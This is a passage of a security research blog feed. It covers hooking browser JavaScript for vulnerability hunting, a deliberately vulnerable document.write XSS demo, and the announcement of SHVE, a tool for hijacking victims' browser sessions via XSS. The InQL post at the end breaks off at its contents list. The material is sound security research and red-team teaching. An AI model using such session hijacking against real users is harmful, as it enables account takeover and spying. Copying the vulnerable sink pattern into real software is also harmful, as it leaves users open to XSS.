Client-side JavaScript Instrumentation2023-09-25T00:00:00+02:00https://blog.doyensec.com/2023/09/25/clientside-javascript-instrumentation<p>There is a ton of code that is not worth your time and brain power. Binary
reverse engineers commonly skip straight to the important code by using ltrace,
strace, or frida. You can do the same for client side JavaScript using only
common browser features. This will save time, make testing more fun and help
keep your attention span available for the code that deserves your focus.</p>
<p>This blog introduces my thinking processes and practical methods for
instrumenting client side JavaScript. This processes have helped me to find
deeply embedded bugs in complicated codebases with relative ease. I have been
using many of these tricks for so long that I implemented them in a web
extension called <a href="https://addons.mozilla.org/en-US/firefox/addon/eval-villain/">Eval
Villain</a>. While I
will introduce you to some of Eval Villain’s brand new features, I will also show how
to get the same results without Eval Villain.</p>
<h2 id="general-method-and-thinking">General Method and Thinking</h2>
<p>Testing an application often raises questions as to how the application works.
The client must know the answers to some of these questions if the application
is to function. Consider the following questions:</p>
<ul>
<li>What parameters does the server accept?</li>
<li>How are parameters encoded/encrypted/serialized?</li>
<li>How does the wasm module affect the DOM?</li>
<li>Where are the DOM XSS sinks and what sanitization is being applied?</li>
<li>Where are the post message handlers?</li>
<li>How is cross-origin communication between ads being accomplished?</li>
</ul>
<p>For the web page to work, it needs to know the answer to these questions. This
means we can find our answers in the JavaScript too. Notice that each of these
questions imply the use of particular JavaScript functions. For example, how
would the client implement a post message handler without ever calling
<code class="language-plaintext highlighter-rouge">addEventListener</code>? So “Step 1” is hooking these interesting functions,
verifying the use case is what we are interested in and tracing back. In
JavaScript, it would look like this:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">(()</span> <span class="o">=></span> <span class="p">{</span>
<span class="kd">const</span> <span class="nx">orig</span> <span class="o">=</span> <span class="nb">window</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">;</span>
<span class="nb">window</span><span class="p">.</span><span class="nx">addEventListener</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(</span><span class="nx">a</span><span class="p">,</span> <span class="nx">b</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">a</span> <span class="o">===</span> <span class="dl">"</span><span class="s2">message</span><span class="dl">"</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">postMessage handler found</span><span class="dl">"</span><span class="p">);</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">b</span><span class="p">);</span> <span class="c1">// You can click the output of this to go directly to the handler</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">trace</span><span class="p">();</span> <span class="c1">// Find where the handler was registered.</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nx">orig</span><span class="p">(...</span><span class="nx">arguments</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">})();</span>
</code></pre></div></div>
<p>Just pasting the above code in the console will work if the handler has not
already been registered. However, it is crucial to hook the function
before it’s even used. In the next section I will show a simple and practical way to
always win that race.</p>
<p>Hooking native JavaScript is “Step 1”. This often helps you find interesting code.
Sometimes you will want to instrument that code but it’s non-native. This
requires a different method that will be covered in the “Step 2” section.</p>
<h2 id="step-1-hooking-native-javascript">Step 1: Hooking native JavaScript</h2>
<h4 id="build-your-own-extension">Build your own Extension</h4>
<p>While you can use one of many web extensions that will add arbitrary JavaScript
to the page, I don’t recommend it. These extensions are often buggy, have race
conditions and are difficult to develop in. In most cases, I find it easier to
just write my own extension. Don’t be daunted, it is really easy. You only need
two files and I already made them for you <a href="https://github.com/doyensec/webext_boilerplate/">here</a>.</p>
<p>To load the code in Firefox go to <code class="language-plaintext highlighter-rouge">about:debugging#/runtime/this-firefox</code> in
the URL bar, click <code class="language-plaintext highlighter-rouge">Load Temporary Add-on</code> and navigate to the <code class="language-plaintext highlighter-rouge">manifest.json</code>
file in the top directory of the extension.</p>
<p>For chrome, go to <code class="language-plaintext highlighter-rouge">chrome://extensions/</code>, enable developer mode in the right
side and click <code class="language-plaintext highlighter-rouge">load unpacked</code>.</p>
<p>The extension should show up in the addon list, where you can quickly
enable or disable it. When enabled, the <code class="language-plaintext highlighter-rouge">script.js</code> file will load in every web
page. The following lines of code log all input to <code class="language-plaintext highlighter-rouge">document.write</code>.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="cm">/*********************************************************
*** Your code goes goes here to run in pages scope ***
*********************************************************/</span>
<span class="c1">// example code to dump all arguments to document.write</span>
<span class="nb">document</span><span class="p">.</span><span class="nx">write</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Proxy</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">,</span> <span class="p">{</span>
<span class="na">apply</span><span class="p">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">_func</span><span class="p">,</span> <span class="nx">_doc</span><span class="p">,</span> <span class="nx">args</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">group</span><span class="p">(</span><span class="s2">`[**] document.write.apply arguments`</span><span class="p">);</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">arg</span> <span class="k">of</span> <span class="nx">args</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">dir</span><span class="p">(</span><span class="nx">arg</span><span class="p">);</span>
<span class="p">}</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">groupEnd</span><span class="p">();</span>
<span class="k">return</span> <span class="nb">Reflect</span><span class="p">.</span><span class="nx">apply</span><span class="p">(...</span><span class="nx">arguments</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">});</span>
</code></pre></div></div>
<p>
<center><img src="../../../public/images/first_web_ext.png" alt="Temporarily loaded web extention hooks document.write" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 700px;" /></center>
</p>
<p>Replace those lines of code with what ever you want. Your code will run in
every page and frame before the page has the opportunity to run its own code.</p>
<h4 id="how-it-works">How it works</h4>
<p>The boiler plate uses the manifest file to register a <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts">content script</a>.
The manifest tells the browser that the content script should run in every
frame and before the page loads. Content scripts do not have direct access to
the scope of the page they are loaded into but they do have direct access to
the DOM. So the boiler plate code just adds a new script into the pages DOM. A
CSP can prohibit this, so the extension checks that it worked. If a CSP does
block you, just disable the CSP with browser configs, a web extension or an
intercepting proxy.</p>
<p>Notice that the instrumentation code ultimately ends up with the same
privileges as the website. So your code will be subject to the same
restrictions as the page. Such as the same origin policy.</p>
<h4 id="async-and-races">Async and Races</h4>
<p>A quick word of warning. The above content script will give you first access to
the only JavaScript thread. The website itself can’t run any JavaScript until
you give up that thread. Try it out, see if you can make a website that runs
<code class="language-plaintext highlighter-rouge">document.write</code> before the boiler plate has it hooked.</p>
<p>First access is a huge advantage, you get to poison the environment that the
website is about to use. Don’t give up your advantage until you are done
poisoning. This means avoiding the use of async functions.</p>
<p>This is why many web extensions intended to inject user JavaScript into a page
are buggy. Retrieving user configuration in a web extension is done using an
async call. While the async is looking up the user config, the page is running
its code and potentially has already executed the sink you wanted to hook.
This is why Eval Villain is only available on Firefox. Firefox has a unique
<a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/contentScripts/register">API</a>
that can register the content script with the user configuration.</p>
<h4 id="eval-villain">Eval Villain</h4>
<p>It is very rare that I run into a “Step 1” situation that can’t be solved with
Eval Villain. Eval Villain is just a content script that hooks sinks and
searches input for sources. You can configure almost any native JavaScript
functionality to be a sink. Sources include user configure strings or regular
expressions, URL parameters, local storage, cookies, URL fragment and window
name. These sources are recursively decoded for important substrings. Let’s look
at the same page of the example above, this time with Eval Villain in its default
configuration.</p>
<p>
<center><img src="../../../public/images/instrumenting_js_1.png" alt="Eval Villain example catching document.write DOM XSS" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 700px;" /></center>
</p>
<p>Notice this page is being loaded from a local <code class="language-plaintext highlighter-rouge">file://</code>. The source code is
seen below.</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><script></span>
<span class="kd">let</span> <span class="nx">x</span> <span class="o">=</span> <span class="p">(</span><span class="k">new</span> <span class="nx">URLSearchParams</span><span class="p">(</span><span class="nx">location</span><span class="p">.</span><span class="nx">search</span><span class="p">)).</span><span class="kd">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">x</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">x</span> <span class="o">=</span> <span class="nx">atob</span><span class="p">(</span><span class="nx">x</span><span class="p">);</span>
<span class="nx">x</span> <span class="o">=</span> <span class="nx">atob</span><span class="p">(</span><span class="nx">x</span><span class="p">);</span>
<span class="nx">x</span> <span class="o">=</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">parse</span><span class="p">(</span><span class="nx">x</span><span class="p">);</span>
<span class="nx">x</span> <span class="o">=</span> <span class="nx">x</span><span class="p">[</span><span class="dl">'</span><span class="s1">a</span><span class="dl">'</span><span class="p">];</span>
<span class="nx">x</span> <span class="o">=</span> <span class="nb">decodeURI</span><span class="p">(</span><span class="nx">x</span><span class="p">);</span>
<span class="nx">x</span> <span class="o">=</span> <span class="nx">atob</span><span class="p">(</span><span class="nx">x</span><span class="p">);</span>
<span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="s2">`Welcome Back </span><span class="p">${</span><span class="nx">x</span><span class="p">}</span><span class="s2">!!!`</span><span class="p">);</span>
<span class="nt"></script></span>
</code></pre></div></div>
<p>Even though the page has no web requests, Eval Villain still successfully hooks
the user configured sink <code class="language-plaintext highlighter-rouge">document.write</code> before the page uses it. There is no
race condition.</p>
<p>Also notice that Eval Villain is not just displaying the input of
<code class="language-plaintext highlighter-rouge">document.write</code>. It correctly highlighted the injection point. The URL
parameter <code class="language-plaintext highlighter-rouge">x</code> contained an encoded string that hit the sink <code class="language-plaintext highlighter-rouge">document.write</code>.
Eval Villain figured this out by recursively decoding the URL parameters. Since
the parameter was decoded, a <code class="language-plaintext highlighter-rouge">encoder</code> function is provided to the user. You
can right click, copy message and paste it into the console. Using the
<code class="language-plaintext highlighter-rouge">encoder</code> function lets you quickly try payloads. Below shows the encoder
function being used to inject a <code class="language-plaintext highlighter-rouge">marquee</code> tag into the page.</p>
<p>
<center><img src="../../../public/images/instrumenting_js_2.png" alt="Eval Villain example catching document.write DOM XSS" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 700px;" /></center>
</p>
<p>If you read the previous sections, you know how this all works. Eval Villain
is just using a <a href="https://github.com/swoops/eval_villain/blob/master/src/js/switcheroo.js">content script</a>
to inject its JavaScript into a page. Anything it does, you can do in your own
content script. Additionally, you can now use Eval Villain’s source code as
your boiler plate code and customize its features for your particular technical challenge.</p>
<h2 id="step-15-a-quick-tip">Step 1.5: A Quick Tip</h2>
<p>So lets say you used “Step 1” to get a <code class="language-plaintext highlighter-rouge">console.trace</code> from an interesting
native function. Maybe a URL parameter hit your <code class="language-plaintext highlighter-rouge">decodeURI</code> sink and now your
tracing back to the URL parsing function. There is a mistake I regularly make
in this situation and I want you to do better. When you get a trace, don’t
start reading code yet!</p>
<p>Modern web applications often have polyfills and other cruft at the top of the
<code class="language-plaintext highlighter-rouge">console.trace</code>. For example, the stack trace I get on google search results
page starts with functions <code class="language-plaintext highlighter-rouge">iAa</code>, <code class="language-plaintext highlighter-rouge">ka</code>, <code class="language-plaintext highlighter-rouge">c</code>, <code class="language-plaintext highlighter-rouge">ng</code>, <code class="language-plaintext highlighter-rouge">getAll</code>. Don’t get tunnel
vision and start reading <code class="language-plaintext highlighter-rouge">ka</code> when <code class="language-plaintext highlighter-rouge">getAll</code> is obviously what you want. When
you look at <code class="language-plaintext highlighter-rouge">getAll</code>, don’t read source! Continue to scan, notice that <code class="language-plaintext highlighter-rouge">getAll</code>
is a method and it’s sibling are <code class="language-plaintext highlighter-rouge">get</code>, <code class="language-plaintext highlighter-rouge">set</code>, <code class="language-plaintext highlighter-rouge">size</code>, <code class="language-plaintext highlighter-rouge">keys</code>, <code class="language-plaintext highlighter-rouge">entries</code> and
all the other methods listed in the <code class="language-plaintext highlighter-rouge">URLSearchParams</code>
<a href="https://developer.mozilla.org/en-US/docs/Web/API/URLSearchParams">documentation</a>.
We just found multiple custom URL parsers, re-implemented in minified code
without actually reading the code. “Scan” as much as you can, don’t start reading
code deeply until you find the right spot or scanning has failed you.</p>
<h2 id="step-2-hooking-non-native-code">Step 2: Hooking non-native code</h2>
<p>Instrumenting native code didn’t result in vulnerabilities. Now you want to
instrument the non-native implementation itself. Let me illustrate this with an example.</p>
<p>Let’s say you discovered a URL parser function that returns an object named
<code class="language-plaintext highlighter-rouge">url_params</code>. This object has all the key value pairs for the URL parameters.
We want to monitor access to that object. Doing so could give us a nice list of
every URL parameter associated to a URL. We may discover new parameters this
way and unlock hidden functionality in the site.</p>
<p>Doing this in JavaScript is not hard. In 16 lines of code we can have a well
organized, unique list of URL parameters associated to the appropriate page and
saved for easy access in <code class="language-plaintext highlighter-rouge">localStorage</code>. We just need to figure out how to
paste our code right into the URL parser.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">parseURL</span><span class="p">()</span> <span class="p">{</span>
<span class="c1">// URL parsing code</span>
<span class="c1">// url_params = {"key": "value", "q": "bar" ...</span>
<span class="c1">// The code you want to add in</span>
<span class="nx">url_params</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Proxy</span><span class="p">(</span><span class="nx">url_params</span><span class="p">,</span> <span class="p">{</span>
<span class="na">__testit</span><span class="p">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">a</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">const</span> <span class="nx">loc</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">my_secret_space</span><span class="dl">'</span><span class="p">;</span>
<span class="kd">const</span> <span class="nx">urls</span> <span class="o">=</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">parse</span><span class="p">(</span><span class="nx">localStorage</span><span class="p">[</span><span class="nx">loc</span><span class="p">]</span><span class="o">||</span><span class="dl">"</span><span class="s2">{}</span><span class="dl">"</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">href</span> <span class="o">=</span> <span class="nx">location</span><span class="p">.</span><span class="nx">protocol</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">//</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">location</span><span class="p">.</span><span class="nx">host</span> <span class="o">+</span> <span class="nx">location</span><span class="p">.</span><span class="nx">pathname</span><span class="p">;</span>
<span class="kd">const</span> <span class="nx">s</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Set</span><span class="p">(</span><span class="nx">urls</span><span class="p">[</span><span class="nx">href</span><span class="p">]);</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">s</span><span class="p">.</span><span class="nx">has</span><span class="p">(</span><span class="nx">a</span><span class="p">))</span> <span class="p">{</span>
<span class="nx">urls</span><span class="p">[</span><span class="nx">href</span><span class="p">]</span> <span class="o">=</span> <span class="nb">Array</span><span class="p">.</span><span class="k">from</span><span class="p">(</span><span class="nx">s</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">a</span><span class="p">));</span>
<span class="nx">localStorage</span><span class="p">.</span><span class="nx">setItem</span><span class="p">(</span><span class="nx">loc</span><span class="p">,</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="nx">urls</span><span class="p">));</span>
<span class="p">}</span>
<span class="p">},</span>
<span class="na">get</span><span class="p">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">a</span><span class="p">,</span><span class="nx">b</span><span class="p">,</span><span class="nx">c</span><span class="p">)</span> <span class="p">{</span>
<span class="k">this</span><span class="p">.</span><span class="nx">__testit</span><span class="p">(</span><span class="nx">b</span><span class="p">);</span>
<span class="k">return</span> <span class="nb">Reflect</span><span class="p">.</span><span class="kd">get</span><span class="p">(...</span><span class="nx">arguments</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">};</span>
<span class="c1">// End of your code</span>
<span class="k">return</span> <span class="nx">url_params</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Chrome’s dev tools will let you type your
own code into the JavaScript source but I don’t recommend it. At least for me,
the added code will disappear on page load. Additionally, it is not easy to
manage any instrumentation points this way.</p>
<p>I have a better solution and it’s built into Firefox and Chrome. Take your
instrumentation code, surround it with parenthesis, add <code class="language-plaintext highlighter-rouge">&& false</code> to
the end. The above code becomes this:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">(</span><span class="nx">url_params</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Proxy</span><span class="p">(</span><span class="nx">url_params</span><span class="p">,</span> <span class="p">{</span>
<span class="na">__testit</span><span class="p">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">a</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">const</span> <span class="nx">loc</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">my_secret_space</span><span class="dl">'</span><span class="p">;</span>
<span class="kd">const</span> <span class="nx">urls</span> <span class="o">=</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">parse</span><span class="p">(</span><span class="nx">localStorage</span><span class="p">[</span><span class="nx">loc</span><span class="p">]</span><span class="o">||</span><span class="dl">"</span><span class="s2">{}</span><span class="dl">"</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">href</span> <span class="o">=</span> <span class="nx">location</span><span class="p">.</span><span class="nx">protocol</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">//</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">location</span><span class="p">.</span><span class="nx">host</span> <span class="o">+</span> <span class="nx">location</span><span class="p">.</span><span class="nx">pathname</span><span class="p">;</span>
<span class="kd">const</span> <span class="nx">s</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Set</span><span class="p">(</span><span class="nx">urls</span><span class="p">[</span><span class="nx">href</span><span class="p">]);</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">s</span><span class="p">.</span><span class="nx">has</span><span class="p">(</span><span class="nx">a</span><span class="p">))</span> <span class="p">{</span>
<span class="nx">urls</span><span class="p">[</span><span class="nx">href</span><span class="p">]</span> <span class="o">=</span> <span class="nb">Array</span><span class="p">.</span><span class="k">from</span><span class="p">(</span><span class="nx">s</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">a</span><span class="p">));</span>
<span class="nx">localStorage</span><span class="p">.</span><span class="nx">setItem</span><span class="p">(</span><span class="nx">loc</span><span class="p">,</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="nx">urls</span><span class="p">));</span>
<span class="p">}</span>
<span class="p">},</span>
<span class="na">get</span><span class="p">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">a</span><span class="p">,</span><span class="nx">b</span><span class="p">,</span><span class="nx">c</span><span class="p">)</span> <span class="p">{</span>
<span class="k">this</span><span class="p">.</span><span class="nx">__testit</span><span class="p">(</span><span class="nx">b</span><span class="p">);</span>
<span class="k">return</span> <span class="nb">Reflect</span><span class="p">.</span><span class="kd">get</span><span class="p">(...</span><span class="nx">arguments</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">})</span> <span class="o">&&</span> <span class="kc">false</span>
</code></pre></div></div>
<p>Now right click the line number where you want to add your code, click
“conditional breakpoint”.</p>
<p>
<center><img src="../../../public/images/condbreak_click.png" alt="Creating a conditional breakpoint" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 700px;" /></center>
</p>
<p>Paste your code in there. Due to the <code class="language-plaintext highlighter-rouge">&& false</code> the condition will never be
true, so you won’t ever get a breakpoint. The browser will still execute our
code and in the scope of function where we inserted the breakpoint. There are
no race conditions and the breakpoint will continue to live. It will show up in
new tabs when you open the developer tools. You can quickly disable individual
instrumentation scripts by just disabling the assisted breakpoint. Or disable
all of them by disabling breakpoints or closing the developer tools window.</p>
<p>I used this particular example to show just how far you can go. The
instrumented code will save URL parameters, per site, to a local storage entry.
At any given page you can auto-populate all known URL parameters into the URL
bar by pasting the following code in to the console.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">(()</span> <span class="o">=></span> <span class="p">{</span>
<span class="kd">const</span> <span class="nx">url</span> <span class="o">=</span> <span class="nx">location</span><span class="p">.</span><span class="nx">protocol</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">//</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">location</span><span class="p">.</span><span class="nx">host</span> <span class="o">+</span> <span class="nx">location</span><span class="p">.</span><span class="nx">pathname</span><span class="p">;</span>
<span class="kd">const</span> <span class="nx">params</span> <span class="o">=</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">parse</span><span class="p">(</span><span class="nx">localStorage</span><span class="p">.</span><span class="nx">getItem</span><span class="p">(</span><span class="dl">"</span><span class="s2">my_secret_space</span><span class="dl">"</span><span class="p">))[</span><span class="nx">url</span><span class="p">];</span>
<span class="nx">location</span><span class="p">.</span><span class="nx">href</span> <span class="o">=</span> <span class="nx">url</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">?</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">params</span><span class="p">.</span><span class="nx">flatMap</span><span class="p">(</span> <span class="nx">x</span> <span class="o">=></span> <span class="s2">`</span><span class="p">${</span><span class="nx">x</span><span class="p">}</span><span class="s2">=</span><span class="p">${</span><span class="nx">x</span><span class="p">}</span><span class="s2">`</span><span class="p">).</span><span class="nx">join</span><span class="p">(</span><span class="dl">'</span><span class="s1">&</span><span class="dl">'</span><span class="p">);</span>
<span class="p">})()</span>
</code></pre></div></div>
<p>If you use this often, you can even put the code in a <a href="https://en.wikipedia.org/wiki/Bookmarklet">bookmarklet</a>.</p>
<h2 id="combining-native-and-non-native-instrumentation">Combining Native and Non-Native Instrumentation</h2>
<p>Nothing says we can’t use native and non-native functions at the same time. You
can use a content script to implement big fancy codebases. Export that
functionality to the global scope and then use it in a conditional breakpoint.</p>
<p>This brings us to the latest feature of <a href="https://addons.mozilla.org/en-US/firefox/addon/eval-villain/">Eval Villain</a>. Your conditional can make
use of Eval Villains recursive decoding feature. In the pop-up menu click
“configure” and go to the “globals” section. Ensure the “sourcer” line is
enabled and click save.</p>
<p>
<center><img src="../../../public/images/enable_ev_sourcer.png" alt="Show the new sourcer feature enabled in Eval Villain" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 700px;" /></center>
</p>
<p>I find myself enabling/disabling this feature often, so there is a second
“enable” flag in the popup menu itself. It’s in the “enable/disable” menu as
“User Sources”. This causes Eval Villain to export the <code class="language-plaintext highlighter-rouge">evSourcer</code> function to
the global name scope. This will add any arbitrary object to the list of
recursively decoded sources.</p>
<p>
<center><img src="../../../public/images/evsourcer_example.png" alt="Console showing evSource's use" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 700px;" /></center>
</p>
<p>As can be seen, the first argument is what you name the source. The second is
the actual object you want to search sinks. Unless there is a custom encoding
that Eval Villain does not understand you can just put this in raw. There is an
optional third argument that will cause the sourcer to <code class="language-plaintext highlighter-rouge">console.debug</code> every
time it’s invoked. This function returns <code class="language-plaintext highlighter-rouge">false</code>, so you can use it as a
conditional breakpoint anywhere. For example, you can add this as a conditional
breakpoint that only runs in the post message handler of interest, when
receiving messages from a particular origin as a means of finding if any part
of a message will hit a DOM XSS sink. Using this in the right place can
alleviate SOP restrictions placed on your instrumentation code.</p>
<p>Just like the <code class="language-plaintext highlighter-rouge">evSourcer</code> there is an <code class="language-plaintext highlighter-rouge">evSinker</code>. I rarely use this, so there
is no “enable/disable” entry for this in the popup menu. It accepts a sink name
and a list of arguments and just acts like your own sink. It also returns false
so it can easily be used in conditional breakpoints.</p>
<p>
<center><img src="../../../public/images/evsinker.png" alt="Console showing evSinker's use" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 700px;" /></center>
</p>
<h2 id="conclusion">Conclusion</h2>
<p>Writing your own instrumentation is a powerful skill for vulnerability research. Sometimes, it only
takes a couple of lines of JavaScript to tame a giant gully codebase. By
knowing how this works, you can have better insight into what tools like <a href="https://addons.mozilla.org/en-US/firefox/addon/eval-villain/">Eval Villain</a> and <a href="https://portswigger.net/burp/documentation/desktop/tools/dom-invader">DOM invader</a> can and can’t do. Whenever necessary, you can also adapt your own code when a tool comes up short.</p>
Introducing Session Hijacking Visual Exploitation (SHVE): An Innovative Open-Source Tool for XSS Exploitation2023-08-31T00:00:00+02:00https://blog.doyensec.com/2023/08/31/introducing-session-hijacking-visual-exploitation<p>
<center><img src="../../../public/images/shve_logo.png" alt="SHVE-logo" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 550px;" /></center>
</p>
<p>Greetings, folks! Today, we’re thrilled to introduce you to our latest tool: <strong>Session Hijacking Visual Exploitation</strong>, or <strong>SHVE</strong>. This open-source tool, now available on our <a href="https://github.com/doyensec/Session-Hijacking-Visual-Exploitation/">GitHub</a>, offers a novel way to hijack a victim’s browser sessions, utilizing them as a visual proxy after hooking via an XSS or a malicious webpage. While some exploitation frameworks, such as <a href="https://beefproject.com/">BeEF</a>, do provide hooking features, they don’t allow remote visual interactions.</p>
<p>SHVE’s interaction with a victim’s browser in the security context of the user relies on a comprehensive design incorporating multiple elements. These components, each fulfilling a specific function, form a complex, interconnected system that allows a precise and controlled session hijacking. Let’s take a closer look at each of them:</p>
<ul>
<li>
<p><strong>VictimServer</strong>: This component serves the malicious JavaScript. Furthermore, it establishes a WebSocket connection to the hooked browsers, facilitating the transmission of commands from the server to the victim’s browser.</p>
</li>
<li>
<p><strong>AttackerServer</strong>: This is the connection point for the attacker client. It supplies all the necessary information to the attacker, such as the details of the different hooked sessions.</p>
</li>
<li>
<p><strong>Proxy</strong>: When the client enters <em>Visual</em> or <em>Interactive</em> mode, it connects to this proxy. The proxy, in turn, uses functionalities provided by the VictimServer to conduct all requests through the hooked browser.</p>
</li>
</ul>
<p>
<center><img src="../../../public/images/SHVE-architecture.png" alt="SHVE-architecture" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 550px;" /></center>
</p>
<p>The tool comes with two distinctive modes - <em>Visual</em> and <em>Interactive</em> - for versatile usage.</p>
<ul>
<li>
<p><strong>Visual Mode:</strong> The tool provides a real-time view of the victim’s activities. This is particularly useful when exploiting an XSS, as it allows the attacker to witness the victim’s interactions that otherwise might be impossible to observe. For instance, if a victim accesses a real-time chat that isn’t stored for later review, the attacker could see this live interaction.</p>
</li>
<li>
<p><strong>Interactive Mode:</strong> This mode provides a visual gateway to any specified web application. Since the operations are carried out using the victim’s security context via the hooked browser, detection from the server-side becomes significantly more challenging. Unlike typical XSS or CORS misconfigurations exploitation, there’s no need to steal information like Cookies or Local Storage. Instead, the tool uses XHR requests, ensuring CSRF tokens are automatically sent, as both victim and attacker view the same HTML.</p>
</li>
</ul>
<h2 id="getting-started">Getting Started</h2>
<p>We’ve tried to make the installation process as straightforward as possible. You’ll need to have <code class="language-plaintext highlighter-rouge">Node.js</code> and <code class="language-plaintext highlighter-rouge">npm</code> installed on your system. After cloning our repository, navigate to the server and client directories to install their respective dependencies. Start the server and client, follow the initial setup steps, and you’re ready to go! For the full installation guide, please refer to the <a href="https://github.com/doyensec/Session-Hijacking-Visual-Exploitation/blob/master/README.md">README</a> file.</p>
<p>We’ve recorded a video showcasing these modes and demonstrating how to exploit XSS and CORS misconfigurations using one of the <a href="https://portswigger.net/web-security/all-labs">Portswigger’s Web Security Academy</a> labs. Here is how SHVE works:</p>
<video controls="" preload="auto" width="100%" height="100%" poster="../../../public/images/SHVE-ui.png">
<source src="../../../public/images/SHVE-demo.mp4" type="video/mp4" />
Your browser does not support the video tag.
</video>
<p>We look forward to your <a href="https://github.com/doyensec/Session-Hijacking-Visual-Exploitation/">contributions</a> and insights, and can’t wait to see how you’ll use SHVE in your red team engagements. <strong>Happy hacking!</strong></p>
<p><em>Thanks to Michele Orru and Giuseppe Trotta for their early-stage feedback and ideas.</em></p>
InQL v5: A Technical Deep Dive2023-08-17T00:00:00+02:00https://blog.doyensec.com/2023/08/17/inql-v5<p>We’re thrilled to pull back the curtain on the latest iteration of our
widely-used Burp Suite extension - <a href="https://github.com/doyensec/inql">InQL</a>.
Version 5 introduces significant enhancements and upgrades, solidifying its
place as an indispensable tool for penetration testers and bug bounty hunters.</p>
<ul id="markdown-toc">
<li><a href="#introduction" id="markdown-toc-introduction">Introduction</a></li>
<li><a href="#the-journey-so-far-from-jython-to-kotlin" id="markdown-toc-the-journey-so-far-from-jython-to-kotlin">The Journey So Far: From Jython to Kotlin</a> <ul>
<li><a href="#the-challenges-of-converting-a-burp-extension-into-kotlin" id="markdown-toc-the-challenges-of-converting-a-burp-extension-into-kotlin">The Challenges of Converting a Burp Extension Into Kotlin</a></li>
<li><a href="#sidestepping-the-need-for-stickytape" id="markdown-toc-sidestepping-the-need-for-stickytape">Sidestepping the need for stickytape</a></li>
</ul>
</li>
<li><a href="#introducing-gqlspection-the-core-of-inql-v5x" id="markdown-toc-introducing-gqlspection-the-core-of-inql-v5x">Introducing GQLSpection: The Core of InQL v5.x</a></li>
<li><a href="#new-features" id="markdown-toc-new-features">New Features</a> <ul>
<li><a href="#points-of-interest" id="markdown-toc-points-of-interest">Points of Interest</a></li>
<li><a href="#improved-logging" id="markdown-toc-improved-logging">Improved Logging</a></li>
<li><a href="#in-line-annotations" id="markdown-toc-in-line-annotations">In-line Annotations</a></li>
</ul>
</li>
